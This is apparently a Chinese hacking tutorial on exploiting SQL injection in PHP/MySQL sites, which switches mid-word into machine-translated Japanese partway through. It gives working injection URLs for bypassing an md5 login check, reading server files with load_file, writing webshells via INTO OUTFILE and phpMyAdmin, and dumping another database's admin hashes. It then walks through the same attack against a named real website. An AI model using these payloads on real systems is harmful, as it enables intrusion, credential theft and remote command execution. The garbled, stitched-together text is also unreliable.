4. md5的恶梦
山东大学的王博士最近可是搞md5搞的红透了,我们也来搞一搞吧,我们比他更爽,不用计算,哈哈。
md5我们是有办法绕过的,但是并不是哪里都可以,php中的md5函数就不能绕过,因为你输入的所有东西都在里面,根本跑不出。可以绕过的是sql语句中的md5。当然别的sql中的函数也是可以绕过的,道理相同哦。
看例子先:
//login.php
......
$query="select * from alphaauthor where UserName=md5($username) and Password= ".$Pw." ";
......
?>
我们直接在浏览器提交
http:/login.php?username=char(97,98)) or 1=1 %23
带入sql语句成为select * from alphaauthor where UserName=md5(char(97,98)) or 1=1 #) and Password= ".$Pw."
记得md5里面放的是字符,因为后面有or 1=2,所以我们随便放了个char(97,98). Ok,登陆成功了哦!看看,md5在我们面前也没有什么用处。
5. 核心技术,利用php+mysql注入漏洞直接写入webshell。。
直接利用注入得到webshell,这应该是大家都很想的吧,下面就教给你。
这里假设你已经知道了网站所在的物理路径,我这里假设网站路径为c:/apache/htdocs/site。网站的mysql连接信息放在/lib/sql.inc.php里
1)适用于magic_quotes_gpc=Off
假设我们可以上传图片,或者txt,zip,等其它东西,我们把我们的木马改成
jpg后缀的,上传后路径为/upload/2004091201.jpg
2004091201.jpg中的内容为
好,我们开始http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file( C:/apache/htdocs/site/upload/2004091201.jpg ),4,5,6,7,8,9,10,11%20into%20outfile C:/apache/htdocs/site/shell.php
因为适用了outfile,所以网页显示不正常,但是我们的任务是完成了。
如图28
我们赶快去看看http://localhost/site/shell.php?cmd=dir
如图29
爽否?Webshell我们已经创建成功了。看到最前面的12了没?那就是我们select 1,2所输出的!
2)下面再讲一个适用于magic_quotes_gpc=On的时候保存webshell的方法哦,显然肯定也能用在于magic_quotes_gpc=Off的时候啦。
我们直接读他的配置文件,用技巧2介绍的方法
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870)
,4,5,6,7,8,9,10,11
得到sql.inc.php内容为
好了我们知道了mysql的root密码了,我们找到phpmyadmin的后台
http://localhost/phpmyadmin/
用root密码为空登陆。
如图30
然后我们新建立一个表结构内容如下:
#
# 数据表的结构 `te`
#
CREATE TABLE te (
cmd text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
#
# 导出下面的数据库内容 `te`
#
INSERT INTO te VALUES ( );
Ok,是我们用select * from table into outfile 的时候了
直接在phpmyadmin的sql输入
SELECT * FROM `te` into outfile C:/apache/htdocs/site/cmd1.php ;
如图31
Ok,成功执行,我们去http://localhost/site/cmd1.php?cmd=dir看看效果去
如图32
好爽的一个webshell是吧!哈哈,我也很喜欢。
不过不知道大家有没有发现我们是在magic_quotes_gpc=On的情况下完成这项工作的,竟然在phpmyadmin里可以不用考虑引号的限制,哈哈,说明什么?说明phpmyadmin太伟大了,这也就是我们在谈magic_quotes_gpc=On绕过时所卖的那个关子啦!
6.发现没有我们还可以利用update和insert来插入我们的数据,然后来得到我们的webshell哦,还用上面的那个例子,
//reg.php
......
$query = "INSERT INTO members
VALUES( $id , $login , $pass , $email , 2 )" ;
......
?>
我们在email的地方输入
假设我们注册后的id为10
那么我们可以再找到一个可以注入的地方
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,email,4,5,6,7,8,9,10,11%20from%20user%20where%20id=10%20 into%20outfile C:/apache/htdocs/site/test.php
好了,我们又有了我们的wenshell了哦。
7.mysql的跨库查询
大家是不是一直听说mysql不能跨库查询啊,哈哈,今天我将要教大家一个好方法,通过这个方法来实现变相的跨库查询,方法就是通过load_file来直接读出mysql中dat
フォルダーの下にファイルの内容を保存することで、異常なデータベース間クエリを実現します。
例を教えてください
その前に、mysql のデータ フォルダーの構造について説明します。 Data フォルダーの下に、データベース名に従って生成されたフォルダーがあり、そのフォルダーの下にテーブル名に従って 3 つのサフィックスが生成されます。 myd、myi の 3 つのファイル、たとえば、
Mysql には alpha データベースがあり、alpha ライブラリには alphaauthor と alphadb という 2 つのテーブルがあります。
Alpha フォルダーの内容は図 33 に示すとおりです
実験が始まります
別のデータベース yminfo210 があり、テーブル user が存在し、その管理者情報が user に配置されているとします。
us
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file( yminfo210/user.myd ),4,5,6, 7,8,9,10,11
load_file が配置されているデフォルトのディレクトリは mysql の下のデータ ディレクトリであるため、
load_file(yminfo210/user.myd) を使用することを説明します。もちろん、load_file(. info210/user.myd) の場合、outfile へのデフォルトのパスは、outfile が配置されているデータベース フォルダー内にあることに注意してください。
舼 ? admin 698d51a19d8a121ce581499d7b701668 admin@yoursite.comadmin question adminanswer.com (??KA靃?权? 12 7.0 .0.1d| ? ? aaa 3dbe00a167653a1aaee01d93e77e730e sdf@sd.com sdfasdfsdfa asdfadfasd ?E麷AM麷A 127.0.0.1 222 222222223423
文字化けが多いですが、ユーザー名はまだ確認できますは admin、パスワードは 698d51a19d8a121ce581499d7b701668、その後に続きますその他はその他の情報です
このようにして、次の例でも説明する曲線クロスデータベースが完成しました。
Heibai に抜け穴があることを聞いたことがありますか? 見てみましょう
http://www.heibai.net/down/show.php?id=5403%20and%201= 1
図 35 に示すように正常に表示されます
http://www.heibai.net/down/show.php?id=5403%20and%201=2
続けます
http://www.heibai.net/down/show.php?id=5403%20and%201=1 Union select 1
図 37
プログラム名が異なることに注意してください図に表示されており、また、
警告: mysql_fetch_object(): 指定された引数は有効な MySQL 結果リソースではありません (D:webheibaidownshow.php の 45 行目)
警告: mysql_fetch_array(): 指定された引数は有効な MySQL 結果ではありませんD:webheibaidownglobal のリソース。php 行 578
推測できるまで続けましょう
http://www.heibai.net/down/show。 php?id=5403 %20and%201=1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17, 18,19 正常に表示されます。
図 38 に示すように
それでは、ステートメントを次のように変換しましょう
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2, 3,4, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
導入部分を見てください。 12 を示しているため、For 文字タイプであると推測できます。
それでは、まずファイルの内容を見てみましょう
char(100,58,47,119,101,98,47,104,101,105,98,97,105) になります。 ,47,100,111,119,110,47,115,
104,111,119,46,112,104,112)
us
view-source:http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2 ,3,4,5 ,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,
111,119,46,112 ,104,1 12)) ,13,14,15,16, 17,18,19
view-source: ソースコードを表示することを指します。これが使用される理由については、後ほど説明します
図 40 に示すようにソースコードを表示します。
show.phpに文があるので
ブラウザで直接送信するとlist.phpにジャンプします
いいですね、これ。設定ファイルを配置する必要があります。OK 続行します
d:/web /heibai/down/include/config.inc.phpchar(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105
,110 に変換します) ,99,108,117,100,10 1,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)
を入力します